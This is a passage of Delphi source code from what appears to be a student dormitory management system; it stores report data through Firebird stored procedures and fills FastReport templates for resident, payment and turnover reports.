pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_LIVER_SV_TEMP_DEL';
pFIBStoredProcSaveRX.Prepare;
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
Exit;
WriteTransaction.Rollback;
end;
end;
WriteTransaction.Commit;
//сохранение
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_LIVER_SV_TEMP_INS';
pFIBStoredProcSaveRX.Prepare;
RxMemoryData.First;
for j:=0 to RxMemoryData.RecordCount-1 do
begin
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
for i:=0 to VarArrayHighBound(FV,1) do
begin
if (FV[i][0]='CNT') then
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsVariant:=RxMemoryData.FieldByName(FV[i][0]).AsVariant;
end
else
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsString:=RxMemoryData.FieldByName(FV[i][0]).AsString;
end;
pFIBStoredProcSaveRX.ParamByName(FV[i][0]+'TB').AsInteger:=RxMemoryData.FieldByName(FV[i][0]+'TB').AsInteger;
end;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
WriteTransaction.Rollback;
Exit;
end;
end;
RxMemoryData.Next;
end;
WriteTransaction.Commit;
end;
//для свода по оплате
if ReportName='SVPayer' then
begin
//удаление
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_PAY_SV_TEMP_DEL';
pFIBStoredProcSaveRX.Prepare;
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
Exit;
WriteTransaction.Rollback;
end;
end;
WriteTransaction.Commit;
//сохранение
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_PAY_SV_TEMP_INS';
pFIBStoredProcSaveRX.Prepare;
RxMemoryData.First;
for j:=0 to RxMemoryData.RecordCount-1 do
begin
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
for i:=0 to VarArrayHighBound(FV,1) do
begin
if ((FV[i][0]='SUMMA_PAYDATE') or (FV[i][0]='SUMMA_PAY') or (FV[i][0]='SUMMA_OVERPAY')) then
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsVariant:=RxMemoryData.FieldByName(FV[i][0]).AsVariant;
end
else
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsString:=RxMemoryData.FieldByName(FV[i][0]).AsString;
end;
pFIBStoredProcSaveRX.ParamByName(FV[i][0]+'TB').AsInteger:=RxMemoryData.FieldByName(FV[i][0]+'TB').AsInteger;
end;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
WriteTransaction.Rollback;
Exit;
end;
end;
RxMemoryData.Next;
end;
WriteTransaction.Commit;
end;
//для свода по поступлениям и по источникам финансирования
if (ReportName='SVPayDay') or (ReportName='SVPayDaySM') then
begin
//удаление
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_PAY_SV_TEMP_DEL';
pFIBStoredProcSaveRX.Prepare;
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
Exit;
WriteTransaction.Rollback;
end;
end;
WriteTransaction.Commit;
//сохранение
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_DT_REPORT_PAY_SV_TEMP_INS';
pFIBStoredProcSaveRX.Prepare;
RxMemoryData.First;
for j:=0 to RxMemoryData.RecordCount-1 do
begin
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
for i:=0 to VarArrayHighBound(FV,1) do
begin
if (FV[i][0]='SUMMA_PAY')then
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsVariant:=RxMemoryData.FieldByName(FV[i][0]).AsVariant;
end
else
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsString:=RxMemoryData.FieldByName(FV[i][0]).AsString;
end;
pFIBStoredProcSaveRX.ParamByName(FV[i][0]+'TB').AsInteger:=RxMemoryData.FieldByName(FV[i][0]+'TB').AsInteger;
end;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
WriteTransaction.Rollback;
Exit;
end;
end;
RxMemoryData.Next;
end;
WriteTransaction.Commit;
end;
//для свода по оплате
if ReportName='SVACC_OBOR' then
begin
//удаление
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_ACCOUNT_OLAP_OBOR_SV_DELETE';
pFIBStoredProcSaveRX.Prepare;
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
Exit;
WriteTransaction.Rollback;
end;
end;
WriteTransaction.Commit;
//сохранение
pFIBStoredProcSaveRX.Database:=Database;
WriteTransaction.DefaultDatabase:=Database;
WriteTransaction.StartTransaction;
pFIBStoredProcSaveRX.Transaction:=WriteTransaction;
pFIBStoredProcSaveRX.StoredProcName:='ST_ACCOUNT_OLAP_OBOR_SV_INSERT';
pFIBStoredProcSaveRX.Prepare;
RxMemoryData.First;
for j:=0 to RxMemoryData.RecordCount-1 do
begin
pFIBStoredProcSaveRX.ParamByName('ID_TRANSACTION').AsInt64:=pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsInteger;
for i:=0 to VarArrayHighBound(FV,1) do
begin
if ((FV[i][0]='CUR_NACH') or (FV[i][0]='CUR_PAY') or (FV[i][0]='IN_NACH') or (FV[i][0]='OUT_NACH')
or (FV[i][0]='SB_SUB')or (FV[i][0]='IN_NACH_PERE')or (FV[i][0]='OUT_NACH_DOLG')or (FV[i][0]='OUT_NACH_PERE')or (FV[i][0]='IN_NACH_DOLG')) then
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsVariant:=RxMemoryData.FieldByName(FV[i][0]).AsVariant;
end
else
begin
pFIBStoredProcSaveRX.ParamByName(FV[i][0]).AsString:=RxMemoryData.FieldByName(FV[i][0]).AsString;
// ShowMessage(VarToStr(FV[i][0]));
end;
pFIBStoredProcSaveRX.ParamByName(FV[i][0]+'TB').AsInteger:=RxMemoryData.FieldByName(FV[i][0]+'TB').AsInteger;
end;
try
pFIBStoredProcSaveRX.ExecProc;
except
begin
WriteTransaction.Rollback;
Exit;
end;
end;
RxMemoryData.Next;
end;
WriteTransaction.Commit;
end;
end;
procedure TfrmMainReportsView.SVLivers();
var
i:Integer;
MFR:TfrxMemoView;
begin
if pFIBDataSetPrintMaster.RecordCount>0 then
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_LIVER_SV_TEMP where ID_TRANSACTION='+pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsString);
pFIBDataSetPrintMasterRX.Active:=true;
end
else
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_LIVER_SV_TEMP where ID_TRANSACTION<-1');
pFIBDataSetPrintMasterRX.Active:=true;
end;
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'Reports\Studcity\'+'SVLivers'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['VBUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['VFAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['VKURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['VCATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['VTYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['VCLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['VCNT']:= ''''+StudcityConst.Studcity_ReportsLiversCNT+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportS+'''';
frxReport.Variables['VALL']:= ''''+StudcityConst.Studcity_ReportsALL+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage[2]+'''';
for i:=0 to VarArrayHighBound(FNR,1) do
begin
MFR:=frxReport.FindObject('Memo'+FNR[i][1]) as TfrxMemoView;
if (FNR[i][0]=1) then
begin
MFR.Visible:=true;
MFR.Text:=VarToStr(FNR[i][2]);
end
else
begin
MFR.Visible:=false;
end;
end;
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoTitle'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoSum'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
MFR:=frxReport.FindObject('MemoTitle'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR:=frxReport.FindObject('MemoSum'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
end;
frxReport.PrepareReport(true);
frxReport.ShowReport;
// frxReport.DesignReport;
end;
procedure TfrmMainReportsView.RLivers();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'RLivers'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR[2]+'''';
frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+'''';
for i:=0 to VarArrayHighBound(FNR,1) do
begin
MFR:=frxReport.FindObject('Memo'+FNR[i][1]) as TfrxMemoView;
if (FNR[i][0]=1) then
begin
MFR.Visible:=true;
MFR.Text:=VarToStr(FNR[i][2]);
end
else
begin
MFR.Visible:=false;
end;
end;
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end;
//frxReport.DesignReport;
frxReport.PrepareReport(true);
frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.SVPay();
var
i:Integer;
MFR:TfrxMemoView;
begin
if pFIBDataSetPrintMaster.RecordCount>0 then
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_PAY_SV_TEMP where ID_TRANSACTION='+pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsString);
pFIBDataSetPrintMasterRX.Active:=true;
end
else
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_PAY_SV_TEMP where ID_TRANSACTION<-1');
pFIBDataSetPrintMasterRX.Active:=true;
end;
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'SVPayer'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['SUMMA_PAYDATE']:=''''+StudcityConst.Studcity_ReportsPrintPAYDATE+'''';
frxReport.Variables['SUMMA_PAY']:=''''+StudcityConst.Studcity_ReportsPrintPAY+'''';
frxReport.Variables['SUMMA_OVERPAY']:=''''+StudcityConst.Studcity_ReportsPrintZAD+'''';
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['DATERUN']:= ''''+DateToStr(FNR[0][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoTitle'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoSum'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
MFR:=frxReport.FindObject('MemoTitle'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR:=frxReport.FindObject('MemoSum'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
end;
frxReport.PrepareReport(true);
frxReport.ShowReport(true);
// frxReport.DesignReport;
end;
procedure TfrmMainReportsView.RPay();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'RPay'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+'''';
frxReport.Variables['DATERUN']:= ''''+DateToStr(FNR[0][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end;
// frxReport.DesignReport;
frxReport.PrepareReport(true);
frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.RPaySubs();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'RPaySubs'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+'''';
frxReport.Variables['DATERUN']:= ''''+DateToStr(FNR[0][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end;
// frxReport.DesignReport;
frxReport.PrepareReport(true);
if is_debug
then frxReport.DesignReport
else frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.RPayLgot();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'RPayLgot'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+'''';
frxReport.Variables['DATERUN']:= ''''+DateToStr(FNR[0][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end;
frxReport.Variables['DATE_BEG']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATE_END']:= ''''+DateToStr(FNR[0][1])+'''';
frxReport.PrepareReport(true);
if is_debug
then frxReport.DesignReport
else frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.SVPayDay();
var
i:Integer;
MFR:TfrxMemoView;
begin
if pFIBDataSetPrintMaster.RecordCount>0 then
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_PAY_SV_TEMP where ID_TRANSACTION='+pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsString);
pFIBDataSetPrintMasterRX.Active:=true;
end
else
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_PAY_SV_TEMP where ID_TRANSACTION<-1');
pFIBDataSetPrintMasterRX.Active:=true;
end;
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'SVPayDay'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['NAME_REPORT']:=''''+StudcityConst.StRrPrintPAYSVOnDAYNAME+'''';
frxReport.Variables['SUMMA_PAY']:=''''+StudcityConst.StRrPrintPAYSVOnDAYSUMMA+'''';
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['DATEBEG']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoTitle'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoSum'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
MFR:=frxReport.FindObject('MemoTitle'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR:=frxReport.FindObject('MemoSum'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
end;
frxReport.PrepareReport(true);
frxReport.ShowReport(true);
// frxReport.DesignReport;
end;
procedure TfrmMainReportsView.SVPayDaySM();
var
i:Integer;
MFR:TfrxMemoView;
begin
if pFIBDataSetPrintMaster.RecordCount>0 then
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_PAY_SV_TEMP where ID_TRANSACTION='+pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsString);
pFIBDataSetPrintMasterRX.Active:=true;
end
else
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_PAY_SV_TEMP where ID_TRANSACTION<-1');
pFIBDataSetPrintMasterRX.Active:=true;
end;
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'SVPayDaySM'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['NAME_REPORT']:=''''+StudcityConst.StRrPrintPAYSVOnDAYNAME+'''';
frxReport.Variables['SUMMA_PAY']:=''''+StudcityConst.StRrPrintPAYSVOnDAYSUMMA+'''';
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['DATEBEG']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
frxReport.PrepareReport(true);
frxReport.ShowReport(true);
// frxReport.DesignReport;
end;
procedure TfrmMainReportsView.ACC_OBOR();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'ACC_OBOR.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
